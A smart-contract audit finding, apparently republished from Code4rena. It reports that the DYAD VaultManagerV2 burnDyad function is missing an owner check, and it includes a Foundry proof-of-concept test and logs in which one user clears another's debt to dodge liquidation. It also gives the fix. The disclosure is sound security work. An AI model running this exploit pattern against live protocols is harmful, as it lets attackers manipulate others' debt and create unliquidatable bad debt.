VaultManagerV2.sol::burnDyad function is missing an isDNftOwner modifier, allowing a user to burn another user’s minted DYAD
The burnDyad function in VaultManagerV2.sol lacks a check that the caller owns the specified DNft, allowing any user to burn another user's minted DYAD. An attacker can burn someone else's DYAD, clearing their debt and enabling them to mint more, or burn their own DYAD to avoid liquidation.
Pataroff Follow with MrPotatoMagic, Evo and 6 others
Originally disclosed on Code4rena
Submitted by Pataroff, also found by MrPotatoMagic, Evo, SBSecurity, Jorgect, ljj, T1MOH, Egis_Security, and carrotsmuggler
VaultManagerV2.sol has a function burnDyad that allows a DNft owner to burn his minted DYAD tokens.
function burnDyad(uint256 id, uint256 amount) external isValidDNft(id) {
dyad.burn(id, msg.sender, amount);
emit BurnDyad(id, amount, msg.sender);
}
However, the function does not check if the DNft id that is passed to it and the isValidDNft modifier belongs to msg.sender, allowing any DNft owner to burn any other DNft owner minted DYAD by calling the burnDyad function with the other user’s DNft id.
Impact
A user can prevent an open position from being liquidated by calling VaultManagerV2::burnDyad to burn his own DYAD balance, while retaining his DYAD debt, effectively creating bad debt that cannot be liquidated nor redeemed.
Moreover, by specifying a different DNft id from their own when calling VaultManagerV2::burnDyad, the user can clear DYAD debt from another position while retaining the DYAD balance associated with it, effectively tricking the protocol in allowing him to mint more DYAD as the position no longer has DYAD debt.
Proof of Concept
-
Add the helper functions to
VaultManagerHelper.t.sol. -
Add the test to
VaultManager.t.sol. -
Make sure you are interacting with
VaultManagerV2.sol(notVaultManager.sol) and run with:forge test --mt test_burnAnotherUserDyad
VaultManagerHelper.t.sol:
function mintDNftToUser(address user) public returns (uint256) {
return dNft.mintNft{value: 1 ether}(user);
}
function userDeposit(ERC20Mock token, uint256 id, address vault, uint256 amount, address user) public {
vaultManager.add(id, vault);
token.mint(user, amount);
token.approve(address(vaultManager), amount);
vaultManager.deposit(id, address(vault), amount);
}
VaultManager.t.sol:
function test_burnAnotherUserDyad() public {
vm.deal(Alice, 10 ether);
vm.deal(Bob, 10 ether);
// Mint DYAD to Alice
vm.startPrank(Alice);
uint256 aliceDNftId = mintDNftToUser(Alice);
userDeposit(weth, aliceDNftId, address(wethVault), 1e22, Alice);
vaultManager.mintDyad(aliceDNftId, 1e20, Alice);
vm.stopPrank();
// Mint DYAD to Bob
vm.startPrank(Bob);
uint256 bobDNftId = mintDNftToUser(Bob);
userDeposit(weth, bobDNftId, address(wethVault), 1e22, Bob);
vaultManager.mintDyad(bobDNftId, 1e20, Bob);
vm.stopPrank();
console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000
console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000
console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 100000000000000000000
// Call `burnDyad` as Bob on Alice's DNft id!
vm.prank(Bob);
vaultManager.burnDyad(aliceDNftId, 1e20);
// Bob position becomes insolvent as his DYAD balance is now equal to 0!
console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 0
console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000
console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0
// Alice can mint more DYAD as her DYAD debt is now equal to 0!
vm.prank(Alice);
vaultManager.mintDyad(aliceDNftId, 1e20, Alice);
console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000
console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 200000000000000000000
console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000
console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0
// Bob position cannot be liquidated due to high collaterization ratio!
vm.prank(Alice);
vm.expectRevert();
vaultManager.liquidate(1, 0);
}
[PASS] test_burnAnotherUserDyad() (gas: 815369)
Logs:
Alice Minted Dyad: 100000000000000000000
Alice Dyad Balance: 100000000000000000000
Bob Minted Dyad: 100000000000000000000
Bob Dyad Balance: 100000000000000000000
Alice Minted Dyad: 0
Alice Dyad Balance: 100000000000000000000
Bob Minted Dyad: 100000000000000000000
Bob Dyad Balance: 0
Alice Minted Dyad: 100000000000000000000
Alice Dyad Balance: 200000000000000000000
Bob Minted Dyad: 100000000000000000000
Bob Dyad Balance: 0
Recommended Mitigation:
Add isDNftOwner modifier to VaultManagerV2.sol::burnDyad to check if the passed DNft id belongs to msg.sender, preventing the function caller from being able to burn another user’s minted DYAD.
function burnDyad(uint256 id, uint256 amount) external
isValidDNft(id)
+ isDNftOwner(id) {
dyad.burn(id, msg.sender, amount);
emit BurnDyad(id, amount, msg.sender);
}
Assessed type
DoS
Koolex (judge) decreased severity to Medium
shafu0x (DYAD) confirmed and commented via duplicate Issue #74:
Yeah, burn dyad should only be done by the owner.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The burnDyad function only checks that the DNft exists (via isValidDNft) but does not verify that the caller is the owner of that DNft.
Impact
A user can burn another user's DYAD to clear their debt and allow them to mint more, or burn their own DYAD to avoid liquidation, creating bad debt that cannot be liquidated or redeemed.
What the attacker needed
Attacker has a DNft with minted DYAD; victim has a DNft with minted DYAD
The fix
Add an isDNftOwner modifier to burnDyad to ensure the caller owns the specified DNft.
How it was found
- Alice mints a DNft, deposits collateral, and mints DYAD.
- Bob mints a DNft, deposits collateral, and mints DYAD.
- Bob calls burnDyad with Alice's DNft id and an amount equal to his own DYAD balance.
- Alice's DYAD debt is cleared while her DYAD balance remains, and Bob's DYAD balance becomes zero.
- Alice can now mint more DYAD because her debt is zero.
- Bob's position cannot be liquidated because his collateral ratio is high.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, users mint a stablecoin called DYAD by locking up collateral. Each user has a unique identifier (a DNft) that tracks their debt. The burnDyad function is supposed to let you destroy your own DYAD to reduce your debt, but it doesn't verify that the DNft you specify is actually yours. So anyone can call it with someone else's DNft and mess with their debt.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.